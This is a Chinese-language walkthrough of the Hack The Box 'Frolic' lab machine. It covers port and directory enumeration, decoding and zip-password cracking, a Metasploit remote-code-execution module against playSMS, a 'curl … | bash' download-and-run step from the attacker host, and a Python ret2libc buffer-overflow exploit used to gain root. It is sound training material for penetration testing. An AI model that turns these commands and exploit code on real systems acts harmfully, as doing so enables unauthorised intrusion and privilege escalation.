出品|MS08067实验室(www.)
Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。 https://www./ ![]() 首先我们用nmap扫描靶机开放的端口和服务: nmap -sV -sT -sC 10.10.10.111 结果如下 Starting Nmap 7.70 ( https:// ) at 2019-03-31 14:49 CST Nmap scan report for 10.10.10.111 Host is up (0.33s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 9999/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: Welcome to nginx! Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s |_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: frolic | NetBIOS computer name: FROLIC\x00 | Domain name: \x00 | FQDN: frolic |_ System time: 2019-03-31T12:20:18+05:30 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-03-31 14:50:18 |_ start_date: N/A Service detection performed. Please report any incorrect results at https:///submit/ . Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds 可以看到22号端口上的SSH,139和445的SMB,和9999端口上的http。 我们先检查下SMB有没有可以利用的点,这里用smbmap看看靶机的文件的共享情况 smbmap -H 10.10.10.111 ![]() 出现2个共享但是我们没有访问的权限。 我们去http看下 ![]() *技巧提示:可以使用nc -zx IP 端口 可以快速检测目标地址指定端口是否打开。 在这我们 nc -zx 10.10.10.111 1880 会出现 10.10.10.111: inverse host lookup failed: Unknown host (UNKNOWN) [10.10.10.111] 1880 (?) open 这里的open说明1880端口是打开的 一个欢迎页面,底下有一行 我们访问下10.10.10.111:1880 ![]() 一个后台,我们需要账号密码,尝试一些常见默认账号和密码登陆会出现提示登陆失败,但是当我用admin:password的时候,页面会一直卡着不会跳出任何提示,也不知道为什么,而且这里因为做了安全措施失败多次会让我们等10分钟再试,所以是不能用过暴力破解来得到账号密码的 我们用gobuster爆破下网站的目录 gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40 ![]() Gobuster还是扫描出了部分,我们直接看看这些都是什么 /backup: ![]() /dev: ![]() /test: ![]() /admin: ![]() 我们看到backup里面有3个文件(password.txt user.txt loop/) 我们访问下http://10.10.10.111:9999/backup/password.txt ![]() 出现内容:password - imnothuman 我们访问下http://10.10.10.111:9999/backup/user.txt ![]() 出现内容:user - admin 去刚刚那个Node-RED尝试登陆 ![]() 发现不行,我们去/admin试试 ![]() 提示出现 You have left 2 attempt,我用burp抓包发现并没有任何信息,我查看了源码的JS发现这个 ![]() 作者的一个小把戏,我们在页面上输入 admin: superduperlooperpassword_lol 进去发现是一堆乱七八糟的东西 ![]() 应该是一种编码,这也把这堆东西复制到谷歌里面去找到了这个网站 ![]() 访问下/ asdiSIAJJ0QWE9JAS ![]() 用vim写入frolic.bas64(里面会有空格出现记得去除,可以用vim的命令行输入 s/ //g去) 用base64进行解码 ![]() 出现乱七八糟的东西,因为是别的文件数据,我们导出到一个文件并检查类型 base64 -d frolic.bas64 > frolic file frolic ![]() 发现是一个ZIP文件 用mv给它重命名下,并用zipinfu查看下信息 mv frolic frolic.zip zipinfo frolic.zip ![]() 解压发现需要密码 ![]() 我们用zip2john把这个压缩文件转换为密码HASH,然后用john去破解下 zip2john frolic.zip > frolic.zip.hash ![]() john --wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash john frolic.zip.hash --show ![]() 找到密码:password Cat下内容感觉像是16进制,我们转换下试试看 cat index.php | xxd -r -ps 把这些内容输出到一个文件内并用base64转码下,注意这里的输出到文件带有换行需要去除文件里面的换行 cat index.php | xxd -r -p > index.php.b64 这段同样需要解密,我同样用GOOGLE找到对应破解的网站 网站:https://www./langage-brainfuck 解密结果:idkwhatispass 到这里已经没什么线索,我们总共得到2组密码,说明应该还有网页没有被我们找到,密码应该属于没有被我们找到的网页的 这里我们在第一次爆破的基础上继续爆破输入命令 for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done 这段命令就是让 我们会找到在/dev下还有个/backup目录 访问下 然后尝试用我们刚刚得到的密码进行登陆。 正确的账号密码:admin:idkwhatispass 我们查找看看playsms有没有已知可以利用的漏洞 searchsploit playsms 我们直接使用1.4版本的 远程代码执行漏洞 我们可以 searchsploit-x Path 查看对应的漏洞说明,手动利用 也可以使用msf中集成好的 msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass password => idkwhatispass msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999 rport => 9999 msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111 rhosts => 10.10.10.111 msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms targeturi => /playsms msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36 lhost => 10.10.15.36 msf5 exploit(multi/http/playsms_uploadcsv_exec) > run 成功后会返回一个会话 得到user flag 接下来就是提权获得root权限 这里我们用到LinEnum用来检查可以用来提权的利用点 使用python的SimpleHTTPServer的模块把LineEnum上传到靶机执行 然后在shell中执行 curl http://10.10.15.36:8000/LinEnum.sh | bash 在这里我们看到带有SUID的文件有一个是ayush的目录下 可以看到这个文件我们拥有可执行权限 会获取我们的输入然后输出 我们通过 base64 rop 得到这个文件内容的的编码内容,然后在放回到本机对这个文件解码进行查看调试 base64 -d rop.ba64 > rop chmod +x rop ./rop hello 然后我们本地用gdb进行调试 gdb rop 插件peda的安装:https://blog.csdn.net/gatieme/article/details/63254211 我们生产一个100长度的输入给rop 结果如下 发现程序被终止并提示了SIGSEGV 我们记录下上面发生错误的位置 0x41474141 转化下就是AGAA 就是我们刚刚输入的这个位置 用pattern_offset 0x1474141计算下位置,是52 然后我们用python输出52个A 同时在后面加上自己的信息 转化下0x7a666473 说明52个字符后就会产生溢出。 现在我们需要知道/bin/sh的地址,我不会像以前那样通过在环境变量中加载字符串来实现。有一种更好的方法,首先我们需要找到/bin/shin 的偏移量libc,我们将用它strings来获取地址: strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh 地址:0x0015ba0b 然后我们需要地址libc,我们可以使用ldd它来获取它: ldd rop 地址:0xb7e19000 然后我们将整合两个地址来获取 /bin/sh的真正地址 /bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b 现在我们需要的system()和exit()的地址 这里我需要在靶机上运行gdb查看,但是靶机没有gdb,我们需要从github上然后下载传到靶机上,靶机可以用wget命令进行下载,然后给gdb 加执行权限,最后对rop进行调试 Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32 wget http://10.10.15.36:8000/gdb-7.10.1-x32 mv gdb-7.10.1-x32 gdb chmod +x gdb ./gdb /home/ayush/.binary/rop 通过 写成payload #!/usr/bin/python import struct buf = "A" * 52 system = struct.pack("I" ,0xb7e53da0) exit = struct.pack("I" ,0xb7e479d0) shell = struct.pack("I" ,0xb7f74a0b) print buf + system + exit + shell 然后把exp上传到靶机中去得到root权限 转载请联系作者并注明出处! |
|